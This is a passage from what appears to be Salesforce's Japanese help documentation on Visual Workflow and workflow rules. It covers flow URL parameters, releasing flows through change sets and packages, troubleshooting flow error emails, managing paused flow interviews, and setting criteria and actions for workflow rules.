受け入れられるのは数値のみであるため、フローは実行時にエラーになります。代わりに、URL パラ
メータを使用してレコードの ID を text 型のフロー変数に渡します。フローでは、その ID を使用して該
当するレコードの通貨項目の値を検索してください。

例: 次の例に、カスタムボタンまたはケースページレイアウトに使用されるフロー URL を示します。ユー
ザがボタンをクリックすると、ケースレコードの CaseNumber 項目の値に設定された varID 変数 (Text 型)

を使用してフローが起動されます。

/flow/Case_Management?varID={!Case.CaseNumber}

次の例は、varUserFirst 変数と varUserLast 変数 (どちらも Text 型) を実行ユーザの FirstName項目と LastName

項目の値に設定します。
/flow/User_Info?varUserFirst={!$User.FirstName}&varUserLast={!$User.LastName}

次の例は、取引先責任者ページレイアウトのカスタムボタンに使用するフロー URL です。ユーザがこのボ
タンをクリックすると、フローが起動され、取引先責任者からのテキスト値が項目として {!collNames} テキ
ストコレクション変数に追加されます。
/flow/Contact_Info?collNames={!Contact.FirstName}&collNames={!Contact.LastName}

関連トピック:

フロー URL を使用したフローの完了動作の設定
フローの配布
フロー URL のトラブルシューティング

フロー URL を使用したフローの完了動作の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

デフォルトでは、画面を使用するフローインタビューが完了すると、そのフロー
の新しいインタビューが開始し、ユーザは最初の画面にリダイレクトされます。
ユーザが [完了] をクリックしたら Salesforce 内の別のページにリダイレクトされ
るように設定するには、フロー URL に retURL パラメータを使用します。

形式
ユーザが [完了] をクリックしたら Salesforce 内の特定のページにリダイレクトさ
れるようにするには、次のように指定します。

/flow/flowName?retURL=page_name

page_name は相対 URL です(https://yourInstance.salesforce.com/ の後に続く URL の一部)。
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制限事項
• Salesforce 組織の外部 URL にフローユーザをリダイレクトすることはできません。
• retURL パラメータの値としてフロー変数を使用することはできません。フロー変数を使用してユーザを特定

のレコードなどにリダイレクトする場合は、Visualforce を使用してフローを割り振ります。
• retURL を使用すると、ネストされた上部と横のナビゲーションバーが宛先ページに表示される可能性があり

ます。

例
次のフロー URL では、ユーザがケースの [ホーム] タブ (https://yourInstance.salesforce.com/500/o) に
リダイレクトされます。
/flow/Case_Management?retURL=500/o

次のフロー URL により、varUserFirst および varUserLast 変数 (どちらもテキスト型) が実行ユーザの FirstName お
よび LastName 項目値に設定されます。フローインタビューが完了すると、ユーザは
https://yourInstance.salesforce.com/home/home.jsp にリダイレクトされます。
/flow/User_Info?varUserFirst={!$User.FirstName}

&varUserLast={!$User.LastName}&retURL=home/home.jsp

関連トピック:

フローの配布
フロー URL のトラブルシューティング
フロー URL を使用したフロー変数の設定

変更セットとパッケージのフロー
Cloud Flow Designerで作成されたフローは、変更セットおよびパッケージに含めることができます。変更セット
またはパッケージのいずれかの受け取り側の組織で、Visual Workflow が有効化されている必要があります。

変更セットを使用したフローのリリースの考慮事項
変更セットを使用してフローをリリースする前に、コンポーネントの連動関係、リリース、フロートリガ
に関連する制限と予期しない動作を理解しておく必要があります。
パッケージを使用したフローのリリースの考慮事項
フローは、管理パッケージにも未管理パッケージにも含めることができます。パッケージをリリースする
前に、フローを含むパッケージの制限と動作を理解しておく必要があります。

関連トピック:

インストールされたフローの考慮事項
Visual Workflow の制限および考慮事項
フローの配布
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変更セットを使用したフローのリリースの考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

変更セットを使用してフローをリリースする前に、コンポーネントの連動関係、
リリース、フロートリガに関連する制限と予期しない動作を理解しておく必要
があります。
コンポーネントの連動関係

• 変更セットを使用してフローをリリースする場合、移行サポートの制限
を考慮します。変更セットで使用可能な項目とコンポーネントのみをフ
ローで参照していることを確認してください。

• 変更セットの連動コンポーネントを参照するとき、[コンポーネントの連
動関係] ページに、フローのすべてのバージョンの連動関係が一覧表示さ
れます。関連するフローバージョンのすべての相互連動関係コンポーネ
ントを送信変更セットに追加します。

• コンポーネントが次のフロー要素で参照されている場合、そのコンポーネントは [コンポーネントの連
動関係] ページに表示されません。フローを正常にリリースするには、参照されるこれらのコンポーネ
ントを変更セットに手動で追加します。
– Apex

– メールアラート
– Chatter に投稿する。
– クイックアクション
– メールの送信
– 承認申請
たとえば、メールアラートを送信する場合は、そのメールアラートで使用されるメールテンプレートを
手動で追加します。

リリース
• 変更セットには 1 つのバージョンフローのみを含むことができます。
• 変更セットの有効なフローは、対象に無効としてリリースされます。リリース後手動でフローを有効化

してください。
• 送信変更セットをアップロードするときに有効なバージョンがない場合、最新の無効なバージョンが使

用されます。
• 変更セットを使用してフローをリリースまたは再リリースすると、対象組織にフローのバージョンが作

成されます。
フロートリガ

フロートリガは、変更セット内では使用できません。
フロートリガワークフローアクションのパイロットプログラムは終了します。組織でパイロットをすでに
有効にしている場合は、引き続きフロートリガワークフローアクションを作成および編集できます。組織
で パイロットを有効にしなかった場合は、代わりにプロセスビルダーの[フロー] アクションを使用します。

関連トピック:

変更セット
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パッケージを使用したフローのリリースの考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローは、管理パッケージにも未管理パッケージにも含めることができます。
パッケージをリリースする前に、フローを含むパッケージの制限と動作を理解
しておく必要があります。
コンポーネントの連動関係

• パッケージを使用してフローをリリースする場合、移行サポートの制限
を考慮する必要があります。パッケージ化できるコンポーネントと項目
のみをフローで参照していることを確認してください。

• 他のパッケージ化要素の場合と同様に、フローでも参照整合性が同じよ
うに機能します。

• フローで次のいずれかの要素を使用すると、要素が参照するパッケージ
化可能なコンポーネントは自動的にはパッケージに含まれません。パッケージを正常にリリースするに
は、参照されるこれらのコンポーネントをパッケージに手動で追加します。
– Apex

– メールアラート
– Chatter に投稿する。
– クイックアクション
– メールの送信
– 承認申請
たとえば、メールアラートを送信する場合は、そのメールアラートで使用されるメールテンプレートを
手動で追加します。

フロー状況
パッケージ化できるのは有効なフローのみです。フローの有効なバージョンは、パッケージバージョンを
アップロードするときに決定されます。フローのバージョンがいずれも有効でない場合は、アップロード
に失敗します。

パッケージの更新
• 異なるバージョンのフローで管理パッケージを更新するには、そのバージョンを有効化して、そのパッ

ケージを再アップロードします。パッケージに新しく有効化されたバージョンを追加する必要はありま
せん。ただし、誤ってフローバージョンを有効化し、パッケージをアップロードすると、そのフロー
バージョンが全ユーザに配布されます。確実にアップロードする必要があるバージョンであることを確
認してください。

• フローをパッケージパッチに含めることはできません。
その他の制限事項

• Visualforce ページまたは Apex コードでフローを参照した後に名前空間を登録する場合、必ずフロー名に
名前空間を追加してください。追加しない場合、パッケージのインストールに失敗します。

• フローが管理パッケージからインストールされた場合は、そのフローのインタビューのエラーメールに
個別のフロー要素に関する詳細が記載されません。メールはフローをインストールしたユーザに送信さ
れます。

• フロートリガはパッケージ化できません。
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フロートリガワークフローアクションのパイロットプログラムは終了します。組織でパイロットをすで
に有効にしている場合は、引き続きフロートリガワークフローアクションを作成および編集できます。
組織で パイロットを有効にしなかった場合は、代わりにプロセスビルダーの [フロー] アクションを使用
します。

• 開発組織では、リリース済みまたはベータ管理パッケージにアップロードした後のフローまたはフロー
バージョンは削除できません。

関連トピック:

インストールされたフローの考慮事項
パッケージの作成

フローインタビューに失敗した原因は?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

失敗したフローインタビューをトラブルシューティングするには、フロー障害
メールを使用します。一時的な画面要素またはメールの送信要素を設定して、
問題を特定することもできます。

フローエラーに関するメール
フローインタビューに失敗するたびに、関連付けられたフローを作成したシ
ステム管理者にメールが送信されます。このメールには、失敗のエラーメッ
セージと、インタビューで実行されたフローの各要素の詳細が記載されま
す。
フローエラーに関するメールの制限 (ベータ)

フローインタビューのエラーに関するメールについては、画面要素、検索要
素、作成要素、サブフロー要素に一定の制限があり、いくつかの一般的な制限もあります。
フローへの一時的な要素の追加
フローに画面要素またはメールの送信要素を追加すると、任意の時間のリソースの値を確認できます。問
題を解決したら、一時的な画面要素を削除します。
フロー URL のトラブルシューティング
フローを配布しており、カスタムボタン、カスタムリンク、または直接フロー URL が期待どおりに機能し
ていない場合は、参照されるフローを確認します。さらに、値を URL からフローに渡している場合は、そ
の変数も確認します。
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フローエラーに関するメール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローインタビューに失敗するたびに、関連付けられたフローを作成したシス
テム管理者にメールが送信されます。このメールには、失敗のエラーメッセー
ジと、インタビューで実行されたフローの各要素の詳細が記載されます。

メモ: このリリースには、フローのエラーメールのベータバージョンが含
まれています。本番品質ではありますが、既知の制限があります。フロー
のエラーメールについてフィードバックやご提案がある場合は、IdeaExchange

からお寄せください。
インタビューが複数の要素で失敗すると、システム管理者に複数のメールが送
信され、最後のメールにそれぞれの失敗のエラーメッセージが記載されます。
フローで障害コネクタを使用している場合は、そのインタビューが複数の要素
で失敗する可能性があります。

例:

An error occurred at element Apex_Plug_in_1.
List index out of bounds: 0.

An error occurred at element Fast_Delete_1.
DELETE --- There is nothing in Salesforce matching your delete criteria.

An error occurred at element Email_Alert_1.
Missing required input parameter: SObjectRowId.

関連トピック:

フローエラーに関するメールの制限 (ベータ)

フローが失敗した場合の処理のカスタマイズ
フローインタビューに失敗した原因は?

フローエラーに関するメールの制限 (ベータ)

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローインタビューのエラーに関するメールについては、画面要素、検索要素、
作成要素、サブフロー要素に一定の制限があり、いくつかの一般的な制限もあ
ります。

メモ: このリリースには、フローのエラーメールのベータバージョンが含
まれています。本番品質ではありますが、既知の制限があります。フロー
のエラーメールについてフィードバックやご提案がある場合は、IdeaExchange

からお寄せください。
一般情報

• フローを開始したユーザに名が指定されていない場合、[インタビューの
開始方法] セクションのユーザの名は null になります。
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• 変数割り当ては、{!variable} (prior value) = field/variable (new value)というパターン
で表示されます。変数に以前の値がない場合は、括弧内が空になります。たとえば、{!varStatus}

() = Status (Delivered) のようになります。
• フローを管理パッケージからインストールした場合は、そのフローのインタビューのエラーメールに個

別のフロー要素に関する詳細が記載されません。メールはフローをインストールしたユーザに送信され
ます。

画面要素
パスワード項目は、[表示テキスト] 項目のパスワード項目を参照する場合と同様に、テキスト形式で表示
されます。

検索要素
メールでは、検索要素が「クエリ」要素と表示されます。レコード検索はレコードクエリと表示され、高
速検索は高速クエリと表示されます。

サブフロー要素
• 参照されるフローの変数に、差し込み項目の注釈 (単なる variable ではなく {!variable}) がありま

せん。たとえば、インタビューがサブフローを開始し、入力に関する詳細を示した場合、サブフローの
変数が {!subVariable} ではなく subVariable になります。

• 参照されるフローでエラーが生じると、マスタフローの作成者にメールが送信されますが、件名は参照
されるフローの名前を参照します。

• 「フロー ReferencedFlowName バージョン ReferencedFlowVersion を開始しました」というメッ
セージが複数表示され、その間に「フロー ReferencedFlowNameバージョン ReferencedFlowVersion

を終了しました」というメッセージがない場合、フローユーザが逆方向に進行しています。こうした状
況を防ぐには、参照されるフローの最初の画面のナビゲーションオプションを調節し、ユーザが [前へ]

をクリックできないようにします。

関連トピック:

フローエラーに関するメール
フローインタビューに失敗した原因は?
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フローへの一時的な要素の追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Cloud Flow Designer でフ
ローを開く、編集または
作成する
• 「Force.com Flow の管

理」

フローに画面要素またはメールの送信要素を追加すると、任意の時間のリソー
スの値を確認できます。問題を解決したら、一時的な画面要素を削除します。
1. すべてのリソースと障害メッセージの値を含む、1 つのテキストテンプレー

トを作成します。
2. 各障害パスに対して、テキストテンプレートを使用して次のいずれかの要素

を設定します。
• [表示テキスト] 項目でテキストテンプレートを使用する画面要素 (フロー

の種別が画面要素をサポートしている場合のみ)。
• 本文としてテキストテンプレート、受信者としてメールを使用するメー

ルの送信要素。
• メッセージとしてテキストテンプレートを使用する Chatter への投稿要素。

フローエラー専用の Chatter グループを作成することを検討してください。

3. フローをテストします。

例: 『Cloud Flow Designer Workbook』(Cloud Flow Designer ワークブック) の
「Calculate Discounts on Opportunities」(商談の割引計算) フローのテキストテン
プレートを次に示します。
RESOURCE VALUES for “Calculate Discounts on Opportunities”
opptyID: {!opptyID}
AccountID: {!AccountID}
AccountRevenue: {!AccountRevenue}
Full_Discount outcome: {!Full_Discount}
Partial_Discount outcome: {!Partial_Discount}
Discount: {!Discount}

ERROR
{!$Flow.FaultMessage}

フローの各要素の後に、一時的な Chatter への投稿要素を追加します。それ
ぞれの Chatter への投稿要素は次を使用して設定されます。
• 投稿のメッセージとしてのテキストテンプレート
• 投稿の対象としての「フローのトラブルシューティング」Chatterグルー

プ
レコードの検索要素とレコードの更新要素から Chatter への投稿要素に転送
できるように、各要素の障害コネクタを設定します。
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これにより、フローはレコードの検索、決定、割り当て、レコードの更新要素の実行後に Chatter グルー
プに投稿します。各投稿では、フロー全体での各リソースの値の詳細を確認できます。フローに失敗し
た場合、エラーが Chatter 投稿に含まれます。
フローの問題を特定して修正したら、一時的な要素を削除します。

関連トピック:

フローインタビューに失敗した原因は?
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フロー URL のトラブルシューティング

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローを配布しており、カスタムボタン、カスタムリンク、または直接フロー
URL が期待どおりに機能していない場合は、参照されるフローを確認します。さ
らに、値を URL からフローに渡している場合は、その変数も確認します。
URL が正しいフローを見つけられることを確認するために、次の点を確認しま
す。
• URL が参照するフローが削除または無効化されていない。
• フロー名のスペルおよび大文字小文字が正しく表記されている。フロー名

は、フローの [一意の名前] と大文字小文字を含め完全に一致している必要
があります。

フロー URL が特定のフローバージョンを参照している場合は、そのバージョン
が削除または無効化されていないことを確認します。
URL を使用して値をフローに渡しており、URL が変数にアクセスできない場合、変数を参照するパラメータは
無視されます。
URL が正しいフローを見つけられることを確認するために、値を渡そうとしている各変数の次の点を確認しま
す。
• スペルおよび大文字小文字が正しく表記されている。変数と大文字小文字を含め完全に一致している必要

があります。
• 入力アクセスを許可している。変数の [入力/出力種別] が「入力のみ」または「入力および出力」に設定

されている必要があります。
• フローで名前が変更されていない。
• フローから名前が変更されていない。
• sObject 変数または sObject コレクション変数ではない。
さらに、変数に渡そうとしている値が変数のデータ型と互換性があり、正しい形式であることを確認します。

関連トピック:

フロー URL を使用したフローの完了動作の設定
フロー URL を使用したフロー変数の設定
フローインタビューに失敗した原因は?
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フローインタビュー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローインタビューは、フローの実行中のインスタンスです。フローは、シス
テム管理者が作成するアプリケーションです。ユーザに入力を求め、その入力
に基づいて Salesforce で処理を行います。
たとえば、フローではカスタマーサポートコールのコールスクリプトを提供し
たり、ユーザが指定した情報を使用してケースを作成したりできます。入力し
た情報に基づいてフローが実行する処理は、システム管理者が決定します。
リンク、ボタン、タブのいずれからフローインタビューを実行しても、実行さ
れるのはフローの 1 つのインスタンスです。用語がわかりづらい場合は、レコー
ドとオブジェクトの違いを考えてみてください。取引先レコードを作成する場
合、そのレコードはシステム管理者がカスタマイズした取引先オブジェクトの
1 つのインスタンスです。

メモ: フローを実行するときには、次のヒントに留意してください。
• フローを移動するときに、ブラウザの [戻る] ボタンや [進む] ボタンを使用しないでください。これを

行うと、フローと Salesforce の間でデータの矛盾が生じる場合があります。
• 1 つのフローには、最大 50 個のバージョンを作成できます。フローを実行すると、有効なバージョン

が表示されますが、さらに新しいバージョンが存在する可能性があります。

フローインタビューの一時停止
システム管理者がフローに設定していれば、そのインタビューを一時停止できます。一時停止は、顧客と
の電話が意図せず切れた場合や、顧客が取引先番号を見つけられず、折り返し電話をかけてくる予定があ
る場合などに便利です。
フローインタビューの再開
フローインタビューを一時停止した場合は、必要なすべての情報が揃った後に再開します。
フローインタビューの削除
フローインタビューを一時停止した後、再開しない場合は削除します。不要なインタビューを削除するこ
とで、保留リストにまだ対応する予定があるインタビューのみが含まれるようにすることができます。

関連トピック:

Visual Workflow
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フローインタビューの一時停止

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローインタビューを一
時停止する
• 「フローを実行」

または
[Force.com Flow

ユーザ] 項目をユーザ
詳細ページで有効化

システム管理者がフローに設定していれば、そのインタビューを一時停止でき
ます。一時停止は、顧客との電話が意図せず切れた場合や、顧客が取引先番号
を見つけられず、折り返し電話をかけてくる予定がある場合などに便利です。
1. 開いたフローインタビューで、[一時停止] をクリックします。
2. フローの一時停止が必要な理由を説明します。

このステップは省略可能ですが、特に同じフローの複数のインタビューを一
時停止した場合など、一時停止した複数のフローインタビューを区別しやす
くなります。この説明は、255 文字以下で入力します。

3. [OK] をクリックします。
フローインタビューは、後で再開または削除するまで保存されます。一時停止
する前に入力した有効な値はインタビューにすべて保存されるため、再開する
ときにその情報を再入力する必要はありません。

関連トピック:

フローインタビュー
フローインタビューの再開

フローインタビューの再開

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローインタビューを再
開する
• 「フローを実行」

または
[Force.com Flow

ユーザ] 項目をユーザ
詳細ページで有効化

フローインタビューを一時停止した場合は、必要なすべての情報が揃った後に
再開します。

メモ: インタビューを一時停止し、関連付けられたフローが再開前に更新
された場合、再開したインタビューでは更新されたフローは使用されませ
ん。代わりに、一時停止したときに有効だったバージョンのフローが使用
されます。

1. 一時停止したフローインタビューのすべてがリストされている場所に移動し
ます。
システム管理者による設定に応じて、次のいずれかの場所で自分が一時停止
したすべてのフローインタビューを見つけることができます。
• Salesforce フルサイトの [ホーム] タブにある [一時停止中のフローインタ

ビュー]

• Salesforce1 の左側のナビゲーションの [一時停止中のフローインタビュー]

フローインタビューを一時停止し、それをどこから再開すればよいかわから
ない場合は、システム管理者に問い合わせてください。

2. 該当するフローインタビューを再開します。
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一時停止する前に値を入力した場合、再開すると、有効な値はすべて該当する項目に復元されます。一時
停止する前に入力した値が表示されない場合、その値は無効であったためフローで保存されていません。
数値のみを受け入れる項目に「Acme, Inc.」と入力して一時停止した場合、フローインタビューを再開する
とその項目は空白になります。

警告: フローインタビューを再開したら、そのインタビューは [一時停止中のフローインタビュー] リスト
から削除されます。インタビューを再開した後、再開を取りやめるには [一時停止] をクリックします。
一時停止する前にインタビューを閉じた場合、そのインタビューを後で再開することはできません。

関連トピック:

フローインタビュー
フローインタビューの一時停止
フローインタビューの削除

フローインタビューの削除

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

フローインタビューを再
開する
• 「フローを実行」

または
[Force.com Flow

ユーザ] 項目をユーザ
詳細ページで有効化

フローインタビューを一時停止した後、再開しない場合は削除します。不要な
インタビューを削除することで、保留リストにまだ対応する予定があるインタ
ビューのみが含まれるようにすることができます。
1. 一時停止したフローインタビューのすべてがリストされている場所に移動し

ます。
システム管理者による設定に応じて、次のいずれかの場所で自分が一時停止
したすべてのフローインタビューを見つけることができます。
• Salesforce フルサイトの [ホーム] タブにある [一時停止中のフローインタ

ビュー]

• Salesforce1 の左側のナビゲーションの [一時停止中のフローインタビュー]

フローインタビューを一時停止し、それをどこから再開すればよいかわから
ない場合は、システム管理者に問い合わせてください。

2. 不要なフローインタビューを削除します。

関連トピック:

フローインタビュー
フローインタビューの再開
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Visual Workflow の用語

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce の Visual Workflow では、次の用語が使用されます。
Cloud Flow Designer

システム管理者がSalesforceで使用するフローを作成できるクラウドベースの
アプリケーション。

コネクタ
コネクタで、フローが実行時に選択できるパスを決定します。

要素
各要素は、フローで実行できるアクションを表します。このようなアクショ
ンの例として、Salesforce データの読み取りや書き込み、フローユーザへの情
報の表示、フローユーザからのデータの収集、ビジネスロジックの実行、
データの操作などがあります。

フロー
フローは、ロジックの実行、Salesforce データベースの操作、Apex クラスのコール、ユーザからのデータの
収集を行えるアプリケーションです。Cloud Flow Designer を使用して、フローを作成できます。

フローインタビュー
フローインタビューは、フローの実行中のインスタンスです。

マスタフロー
マスタフローは、サブフロー要素を含むフローです。「マスタ」という用語は、サブフロー要素によって
参照およびコールされるフローと区別するために使用されます。

リソース
各リソースは、フロー全体で参照できる値を表します。

サブフロー
サブフロー要素は、実行時にコールする別のフローを参照します。サブフロー要素を含むフローは、マス
タフローとして参照されます。

関連トピック:

Cloud Flow Designer

Visual Workflow
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ワークフロー
エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ワークフローにより、標準的な社内手続きやプロセスを自動化し、組織全体で
時間を節約できます。ワークフロールールは、一連のワークフロー手順のメイ
ンコンテナです。これらの手順はすべて、if/then ステートメントに要約できま
す。
例: (if) 雨が降っていたら、(then) 傘を持っていく。

ヒント: 必要な場合は、ワークフロールールの代わりにプロセスビルダー
で if/then ステートメントを自動化します。

ワークフロールールは 2 つの主要コンポーネントに分解できます。
1. 条件: 「if/then」ステートメントの「if」部分。つまり、ワークフローが関連ア

クションを実行するためには、true でなければならない条件です。
2. アクション: 「if/then」ステートメントの「then」部分。つまり、レコードが条件を満たしたときに実行され

るものです。
上記の雨の例では、条件は「雨が降っている場合」で、アクションが「傘を持っていく」です。条件が満たさ
れない (雨が降っていない) 場合、アクションは実行されません (傘を持っていかない)。
レコードがワークフロールールのすべての条件を満たすと、そのルールのアクションが実行されます。ワーク
フローで使用できる自動アクションについてよく把握しておいてください。

ワークフロールールの作成
ワークフロールールを作成することによって、組織の標準プロセスを自動化します。
ワークフローの考慮事項
ワークフロールールおよびワークフローアクションの操作を開始する前に、その複雑性について理解して
おきます。
ワークフロールールの例
ワークフロールールでビジネスを合理化する方法を探していている場合、次の例を確認してください。
待機中のワークフローアクションの監視
時間ベースのアクションを持つワークフロールールを起動するとき、待機中のアクションを参照して必要
に応じてキャンセルするには、ワークフローキューを使用してください。
ワークフローの用語
ワークフローの特性と機能の説明に次の用語が使用されます。

関連トピック:

使用する自動化ツール
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ワークフロールールの作成

エディション

使用可能なエディション:
Lightning Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

ワークフロールールを作成することによって、組織の標準プロセスを自動化し
ます。

ヒント: 必要な場合は、ワークフロールールの代わりにプロセスビルダー
で if/then ステートメントを自動化します。

デモを見る:

1. ワークフロールールの条件の設定
新しいワークフロールールの作成を開始するには、まずルールを関連付ける
オブジェクトを選択し、その条件を設定します。

2. ワークフロールールへの自動アクションの追加
ワークフロールールの条件を設定したら、その条件を満たしたときのアク
ションを指定します。

3. Salesforce 組織のデフォルトのワークフローユーザの特定
ルールを起動したユーザが有効でないときにそのワークフロールールで
Salesforce で表示する [デフォルトのワークフローユーザ] を選択します。

4. ワークフロールールの有効化
Salesforce は、ワークフローが有効にされるまでワークフロールールを起動し
ません。

関連トピック:

ワークフローの考慮事項
ワークフロールールの例
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ワークフロールールの条件の設定

エディション

使用可能なインター
フェース: Lightning
Experience および
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

新しいワークフロールールの作成を開始するには、まずルールを関連付けるオ
ブジェクトを選択し、その条件を設定します。
1. [設定] から、[クイック検索] ボックスに「ワークフロールール」と入力し、

[ワークフロールール] を選択します。
2. [新規ルール] をクリックします。
3. このワークフロールールを適用するオブジェクトを選択します。
4. [次へ] をクリックします。
5. ルールの名前と説明を指定します。
6. 評価条件を設定します。

説明レコードが次の場合に
ルールを評価:

レコードが作成されるごとにルール条件を評価し
ます。ルール条件に一致すると、ルールを実行し
ます。既存のレコードへの更新はすべて無視され
ます。
このオプションを使用すると、ルールは 1 レコー
ドに対して複数回実行されることはありません。

作成されたとき

レコードが作成または更新されるたびにルール条
件を評価します。ルール条件に一致すると、ルー
ルを実行します。
このオプションを使用すると、レコードがルール
条件に一致している限り、レコードが編集される
たびに繰り返しルールが実行されます。

作成されたとき、および
編集されるたび

メモ: このオプションを選択すると、そのルー
ルには時間ベースのアクションを追加できま
せん。

(デフォルト) レコードが作成または更新されるごと
にルール条件を評価します。

作成されたとき、および
その後基準を満たすよう
に編集されたとき • 新規レコードでは、ルール条件に一致すると

ルールを実行します。
• 更新されたレコードでは、ルール条件に一致し

ないレコードからルール条件に一致するレコー
ドに変更された場合に限りルールが実行されま
す。
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説明レコードが次の場合にルールを評
価:

このオプションを使用すると、ルールを 1 レコードに対して複数回実
行できますが、レコードがルール条件に関連がない場合は実行されま
せん。
たとえば、商談の確度が 50% を超えている商談がルール条件を満たし
ている商談レコードであるとします。確度 75% の商談を作成すると、
ワークフロールールが実行されます。商談を編集して確度 25% に変更
すると、ルールは実行されなくなります。その後、商談を編集して、
確度 25% から 75% に変更すると、ルールが実行されるようになります。
この最後の編集では、レコードがルール条件に一致しないレコードか
ら、ルール条件に一致するレコードに変更されたため、ルールが実行
されます。

7. ルール条件を入力します。
• [条件が一致する]を選択し、ルールを適用するためにレコードが満たす必要のある検索条件を選択しま

す。たとえば、金額が $5,000 を超える商談レコードでルールを起動する場合は、「商談: 金額より大き
い 5000」という条件を設定します。組織で複数の言語を使用している場合は、検索条件値は個々の言語
で入力します。それぞれ最大 255 文字の範囲内で、検索条件を 25 個まで追加できます。

• [数式の評価が true になる]を選択し、「True」または「False」の値を返す数式を入力します。Salesforce

は、数式が「True」を返した場合にルールを実行します。
便利なワークフローの数式の例として、次の式があります。
– 入力された位置の数がジョブの合計位置数に等しい場合、[ジョブの状況] 項目を「入力済み」に更

新する。
– 顧客サイトの訪問に関連するマイルあたりの経費が 35 セントで、$1,000 という制限を超えると、[承

認の要求] 項目を自動的に「必須」に更新する。
– 月次の契約ベースの商談金額が $10,000 を超えると、商談完了後 60 日間のフォローアップを行うよう

商談所有者に対し ToDo を作成する。
ワークフロールール数式では、$Label 変数はサポートされません。また、ワークフロールール数式で
使用できない関数もあります。

ヒント: 直接関連するオブジェクトの差し込み項目を、ワークフロールール数式の中で使用できま
す。

8. [保存 & 次へ] をクリックします。

関連トピック:

ワークフローの考慮事項
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ワークフロールールへの自動アクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールアラートアクショ
ンとアウトバウンドメッ
セージアクションを使用
可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

ワークフロールールの条件を設定したら、その条件を満たしたときのアクショ
ンを指定します。

ワークフロールールへのルール適用時のアクションの追加
ルール適用時のアクション: 名前が示すとおり、ワークフロールールがレコー
ドの評価を完了した直後に実行されます。
ワークフロールールへの時間ベースのアクションの追加
時間ベースのアクション: 特定の日時に実行されます (レコードの完了予定日
の 10 日前など)。その特定の日時を過ぎると、ワークフロールールはレコー
ドを再評価して、ルール条件をまだ満たしていることを確認します。レコー
ドが条件を満たしている場合、ワークフロールールはそれらのアクションを
実行します。

関連トピック:

Salesforce 組織のデフォルトのワークフローユーザの特定
ワークフロールールの条件の設定
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ワークフロールールへのルール適用時のアクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

ルール適用時のアクション: 名前が示すとおり、ワークフロールールがレコード
の評価を完了した直後に実行されます。
1. ワークフロールールを開きます。
2. [ルール適用時のアクション] セクションで、[ワークフローアクションの追加]

をクリックします。
3. アクションを作成するいずれかのオプションを選択するか、既存のアクショ

ンを選択します。
各アクション種別についての詳細は、「自動アクションの実行」を参照してく
ださい。

関連トピック:

ワークフロールールへの自動アクションの追加

ワークフロールールへの時間ベースのアクションの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ワークフロールールとア
クションを作成または変
更する
• 「アプリケーションの

カスタマイズ」

時間ベースのアクション: 特定の日時に実行されます (レコードの完了予定日の
10 日前など)。その特定の日時を過ぎると、ワークフロールールはレコードを再
評価して、ルール条件をまだ満たしていることを確認します。レコードが条件
を満たしている場合、ワークフロールールはそれらのアクションを実行します。
時間ベースのアクションとタイムトリガは複雑な機能です。時間ベースのアク
ションとタイムトリガを操作する場合、その考慮事項に留意してください。
時間ベースのアクションを持つワークフロールールを設定する場合は、デフォ
ルトのワークフローユーザを指定します。ルールを開始したユーザがすでに有
